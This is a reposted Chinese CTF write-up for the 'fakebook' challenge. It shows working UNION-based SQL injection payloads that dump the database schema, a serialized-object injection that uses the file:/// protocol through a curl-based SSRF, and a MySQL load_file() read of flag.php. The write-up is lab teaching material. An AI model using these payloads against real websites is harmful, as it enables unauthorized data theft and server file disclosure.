攻防世界—fakebook(兩種方法)

一.審題

這邊先進行測試,login和join都失敗了,所以沒獲取到什么消息。

二.dirsearch工具掃描

所以拿dirsearch掃一下,看看有沒有什么文件可以訪問。

python3 dirsearch.py -u url

可以看到當前目錄下存在flag.php,robots.txt等,訪問flag.php,發現空白,所以flag應該是注釋,接下去訪問一下robots.txt

三.訪問可疑文件

這邊顯示有一個不被允許的備份文件,訪問看一下什么內容。

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

這邊題目想給我們的是:同過url去傳,并且對于blog有格式要求,需要在末尾拼接域名。

所以從這里我們就可以知道怎么去使用join的這個功能。

四.使用網站功能,尋找滲透點

查看源代碼,發現有一個url可以點擊跳轉。所以我們繼續瀏覽整個網站

發現有一個get方式的傳參,參數為no,所以在次進行測試,方向:sql注入,偽協議,模板注入等

這邊是sql注入。

五.采用sql注入

查看是否存在sql注入

1 and 1=1

正常顯示。接下去確認有幾行

1 order by 1
1 order by 2
1 order by 3
1 order by 4
1 order by 5
....

在order by 5時顯示為錯誤,order by 4還是正常顯示。

接下去看哪里有注入點

-1++union++select 1,2,3,4 

方法一:

發現在username下有個正常回顯,所以注入點在這里

看數據庫:

-1++union++select 1,database(),3,4

顯示出數據庫名:fakebook

接下去獲取表Table:

?no=-1++union++select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'

成功獲取到表:users

接下去查column:

-1++union++select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'

接下去看一下data:

-1++union++select 1,group_concat(data),3,4 from fakebook.users

這邊看到的是一個序列化的對象。我們這邊是去提取數據庫fakebook中表users的第四列data的值。

這邊放一個對比,第一個圖是單純數據庫有的數據,第三個是我們通過反序列化去進行拼接,username顯示2是因為我們的占位符,顯示這邊有滲透點,然后第二個是四列都去使用占位符,所以我們這邊就可以使用反序列化進行,讓其去讀取我們想要的文件

-1++union++select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

通過查看頁面的源代碼可以獲取到flag:

這邊在放兩個對比,第一個是通過我們數據庫里我們自己join的序列化值去顯示的,因為我們join的都是不存在的所以我們這邊都是空,并且這邊是使用base64進行編碼的。

這邊講一下,為什么第四列的滲透為什么會使用這個file:///協議,這邊是通過他的哪個bak文件中,代碼中使用的是curl

方法二:

因為我們在進行測試時就確定第二列具有注入點,所以我們可以利用這個去看我們的sql版本以及一些信息。如:version(),user(),database()等

如這邊發現他的權限是root權限,所以我們可以使用load_file()這個數據庫函數

load_file()?是 MySQL/MariaDB 中用于讀取服務器本地文件的內置函數,在 SQL 注入場景中常用于獲取敏感文件內容。

user()這是 MySQL/MariaDB 的內置函數,用于返回當前數據庫連接的用戶信息(格式通常為?用戶名@主機名,如?root@localhost)。這里用它替換了第二列的占位符,目的是獲取數據庫用戶權限信息。

所以這邊就通過得到他的版本為MariaDB并且權限為root最高權限,所以可以通過load_file()函數獲取該flag.php

-1++union++select 1,load_file('/var/www/html/flag.php'),3,4

看一下源代碼,出結果。

這道題目,我是看了wp的,在加上自己的總結,從這邊還是學到不少東西,而且感覺這題就是每一步的設計都是很巧妙,環環相扣的感覺

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/93352.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/93352.shtml
英文地址,請注明出處:http://en.pswp.cn/web/93352.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

AI+物聯網如何重塑倉儲供應鏈?3個落地場景與系統架構設計思路

一、引言 在科技飛速發展的當下&#xff0c;AI與物聯網技術的融合為倉儲供應鏈領域帶來了革新契機。這種融合不僅優化了傳統運作模式&#xff0c;還催生出更智能、高效的管理方案&#xff0c;業財一體管理軟件也在其中發揮著關鍵作用。 二、AI物聯網在倉儲供應鏈的落地場景 &am…

C++ 內存管理(內存分布 , 管理方式 , new和delete實現原理)

目錄 1. C/C內存分布 練習: 2. C語言動態內存管理方式 2.1 malloc/calloc/realloc的區別 2.2 malloc的實現原理 2.3 內存塊分布與擴容 3. C動態內存管理方式 3.1 new/delete操作類內置類型 1. new操作內置類型 2. delete操作內置類型 3.2 new/delete操作類自定義類型…

1.2. qemu命令起虛擬機增加網絡配置

1. 網絡配置 常見的網絡模式分為tap網絡和基礎網絡模式兩種。 1.1. TAP網絡&#xff08;橋接模式&#xff09; 虛擬機直接接入宿主機物理網絡&#xff0c;獲得獨立IP 1.1.1. 使用tap方式起虛擬機網絡-netdev tap,idhostnet0,ifnametap0 \-device virtio-net-pci,netdevhostnet0…

分享一個Oracle表空間自動擴容與清理腳本

一、基礎環境準備&#xff08;首次執行&#xff09; -- 1. 創建表空間監控表&#xff08;存儲使用率、容量等信息&#xff09; create table monitor_tablespace_rate (tbs_name varchar2(50), -- 表空間名total_gb number, -- 總容量(GB)used_gb number, …

Flink Sql 按分鐘或日期統計數據量

一、環境版本 環境版本Flink1.17.0Kafka2.12MySQL5.7.33 【注意】Flink 1.13版本增加Cumulate Window&#xff0c;之前版本Flink Sql 沒有 Trigger 功能&#xff0c;長時間的窗口不能在中途觸發計算&#xff0c;輸出中間結果。比如每 10S 更新一次截止到當前的pv、uv。只能用T…

LeetCode 2460.對數組執行操作

給你一個下標從 0 開始的數組 nums &#xff0c;數組大小為 n &#xff0c;且由 非負 整數組成。 你需要對數組執行 n - 1 步操作&#xff0c;其中第 i 步操作&#xff08;從 0 開始計數&#xff09;要求對 nums 中第 i 個元素執行下述指令&#xff1a; 如果 nums[i] nums[i …

深入解析 @nestjs/typeorm的 forRoot 與 forFeature

nestjs/typeorm 是 NestJS 與 TypeORM 集成的官方模塊&#xff0c;提供了 forRoot() 和 forFeature() 兩個核心靜態方法用于配置數據庫連接和實體注冊。本文將深入解析這兩個方法的機制、使用場景和最佳實踐。 一、TypeOrmModule.forRoot() - 全局數據庫配置 forRoot() 方法用于…

關于simplifyweibo_4_moods數據集的分類問題

本來打算用情感分類數據集拿Transformer模型來練練手&#xff0c;發現訓練效果并不好。當我分析了這個數據集的標簽后發現問題了&#xff1a; 查看標簽的分布&#xff1a; import pandas as pd# 先直接讀取數據&#xff0c;不進行后續處理 data_file ~/data/simplifyweibo_4_m…

Custom SRP - Baked Light

https://catlikecoding.com/unity/tutorials/custom-srp/baked-light/本篇教程介紹將靜態光照烘焙到 light map 和 light prob 中.首先貼上我遇到的問題,希望遇到的同學幫忙解答:實踐本教程過程中,定義的 MetaPass 沒有效果, Unity 始終在使用默認的 meta pass,我使用的是 unit…

[Python]PTA:實驗2-3-1-for 求1到100的和

本題要求編寫程序&#xff0c;計算表達式 1 2 3 ... 100 的值。輸入格式&#xff1a;本題無輸入。輸出格式&#xff1a;按照以下格式輸出&#xff1a;sum 累加和代碼如下&#xff1a;x0 for i in range(1,101,1):xi print("sum {}".format(x))

【解決筆記】MyBatis-Plus 中無 selectList 方法

MyBatis-Plus 中無 selectList 方法的解決筆記 核心前提 MyBatis-Plus 的 BaseMapper 接口內置了 selectList 等基礎查詢方法&#xff0c;繼承該接口可直接使用&#xff0c;無需手動實現。 無 selectList 方法的兩種情況及解決方式 1. 未繼承 BaseMapper&#xff08;推薦方案&a…

一周學會Matplotlib3 Python 數據可視化-繪制箱線圖(Box)

鋒哥原創的Matplotlib3 Python數據可視化視頻教程&#xff1a; 2026版 Matplotlib3 Python 數據可視化 視頻教程(無廢話版) 玩命更新中~_嗶哩嗶哩_bilibili 課程介紹 本課程講解利用python進行數據可視化 科研繪圖-Matplotlib&#xff0c;學習Matplotlib圖形參數基本設置&…

4.4 vue3生命周期函數

vue3生命周期函數生命周期鉤子名稱對比表階段Vue 2 選項式 APIVue 3 組合式 API說明創建前beforeCreateonBeforeCreate&#xff08;已廢棄&#xff09;Vue 3 中 setup() 替代創建完成createdsetup()&#xff08;替代&#xff09;setup 是入口&#xff0c;代替 beforeCreate 和 …

無腦整合springboot2.7+nacos2.2.3+dubbo3.2.9實現遠程調用及配置中心

簡介&#xff1a; 好久沒有寫博客了&#xff0c;最近辭職了有時間進行一次分享&#xff0c;今天我們主要是使用單體服務springboot整合nacos實現配置中心&#xff0c;然后整合dubbo來實現遠程的rpc調用。如下是本地案例架構圖&#xff0c;生產者和消費者的配置在nacos配置中心上…

騰訊位置商業授權微信小程序逆地址解析(坐標位置描述)

微信小程序JavaScript SDK 開發指南 逆地址解析(坐標位置描述) reverseGeocoder(options:Object) 本接口提供由坐標到坐標所在位置的文字描述的轉換&#xff0c;輸入坐標返回地理位置信息和附近poi列表。 注&#xff1a;坐標系采用gcj02坐標系 options屬性說明 屬性類型必填…

3D商品展示:技術狂歡下的普及困局

當微軟推出Copilot 3D——僅需一張照片即可生成可編輯的3D模型時&#xff0c;業界曾歡呼“建模門檻徹底消失”。然而技術的美好愿景卻撞上現實的銅墻鐵壁&#xff1a;當前電商平臺3D商品加載卡頓導致用戶跳出率超60%&#xff0c;企業3D化滲透率仍不足34%。絢爛的技術煙花下&…

(Arxiv-2025)Stand-In:一種輕量化、即插即用的身份控制方法用于視頻生成

Stand-In&#xff1a;一種輕量化、即插即用的身份控制方法用于視頻生成 paper是WeChat發布在Arxiv 2025的工作 paper title:Stand-In: A Lightweight and Plug-and-Play Identity Control for Video Generation Code&#xff1a;鏈接 圖1&#xff1a;給定一張參考圖像&#xff…

數據科學與爬蟲技術學習筆記

數據科學與爬蟲技術學習筆記 一、數據科學基礎庫 1. NumPy&#xff1a;數值計算的基石 NumPy 是 Python 科學計算的核心庫&#xff0c;專為數組和矩陣操作設計&#xff0c;能大幅簡化循環操作&#xff0c;提供豐富的數學函數。 核心優勢&#xff1a;高效處理同類型元素的多維…

學習嵌入式之硬件——I2C

一、I2C1.定義內部集成電路的簡稱&#xff0c;半雙工串行同步通信&#xff0c;是芯片和芯片之間的通信方式&#xff1b;通常只有一個主機&#xff0c;多個從機&#xff0c;采用主從應答的方式上圖所示是IIC的總線的使用場景&#xff0c;所有掛載在IIC總線上的設備都有兩根信號線…

使用websockt

封裝websocktHooksimport { ref, onMounted, onUnmounted } from vue;/*** webSocket的Hooks* param {string} websocket鏈接地址* */ export function useWebSocket(url: string) {// 核心狀態 const data: Ref<any> ref(null);//收到websocket返回的數據const socke…